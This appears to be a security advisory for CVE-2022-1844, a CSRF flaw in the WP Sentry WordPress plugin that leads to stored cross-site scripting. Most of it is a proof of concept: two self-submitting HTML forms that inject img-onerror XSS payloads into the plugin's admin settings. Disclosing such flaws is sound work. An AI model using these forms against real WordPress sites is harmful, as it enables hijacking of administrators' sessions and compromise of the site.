WP Sentry <= 1.0 – Arbitrary Settings Update to Stored XSS via CSRF | CVE 2022-1844

Description

The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack and lead to Stored Cross-Site Scripting due to the lack of sanitisation and escaping as well

Proof of Concept

<form id="test" action="https://example.com/wp-admin/admin.php?page=sentry-previews" method="POST">
    <input type="text" name="mode" value="update">
    <input type="text" name="preview" value="None">
    <input type="text" name="preview_permalink" value='"><img src onerror=alert(/XSS/)>'>
    <input type="text" name="deny_message" value="<img src=x onerror=alert(1)>">
</form>
<script>
    document.getElementById("test").submit();
</script>


<form id="test" action="https://example.com/wp-admin/admin.php?page=wp-sentry%2Fwp-sentry.php" method="POST">
    <input type="text" name="mode" value="update">
    <input type="text" name="post_user_list_enabled" value="Yes">
    <input type="text" name="title_prefix" value="<img src=x onerror=alert(1)>">
    <input type="text" name="title_postfix" value="">
    <input type="text" name="widget_pages_enabled" value="No">
    <input type="text" name="widget_recent_comments_enabled" value="Yes">
</form>
<script>
    document.getElementById("test").submit();
</script>